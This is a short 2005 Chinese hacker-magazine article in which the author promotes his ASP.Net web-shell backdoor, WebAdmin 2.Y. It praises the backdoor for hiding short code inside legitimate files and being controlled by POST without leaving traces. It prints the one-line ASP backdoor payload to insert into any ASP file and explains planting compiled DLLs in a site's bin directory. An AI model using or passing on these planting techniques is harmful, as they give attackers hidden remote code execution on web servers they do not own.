ASP.Net下的C/S后门——WebAdmin 2.Y应用详解

本文已发表于《黑客防线》2005年12期，转载请注明！

大家好，不知道各位有没有用过偶的WebAdmin 2.X？嗯，对啦，就是那个ASP.Net环境下的后门。那是我不成熟的作品，要是有什么不顺手的地方还希望多多包涵。呵呵，今天呢，还是让偶来“黄婆卖瓜自卖自夸”吧，给大家介绍一下WebAdmin的最新版本——WebAdmin 2.Y。

WebAdmin 2.Y功能上与2.X大致一样，不过2.Y是C/S版本。呵呵，C/S是大势所趋嘛。C/S的好处就是能把很短的一段代码插入正常文件、POST方式控制不留痕迹，真是杀人灭口、居家旅行的必备良药啊。

废话少说，看看使用说明先。

既然是ASP.Net下的后门，当然要求ASP.Net环境。一般来说，Windows2003是默认支持的，Windows2000/XP需要安装.Net FrameWork。

玩过ASP下C/S后门的朋友都该知道，它的C/S后门放置很简单，就是随便找个ASP文件添加代码“execute request("s")”或“eval request("s")”进去就是，十分简单。这是利用了函数execute的功能就是执行代码，但在ASP.Net下没有类似函数，实现C/S要复杂一点。

在ASP.Net环境下可以把代码编译成dll文件以提高执行效率，这个就类似ASP下的组件机制，不过这里是不用注册的，只需要把编译好的dll放在网站根目录的bin目录之下即可调用自己开发的组件。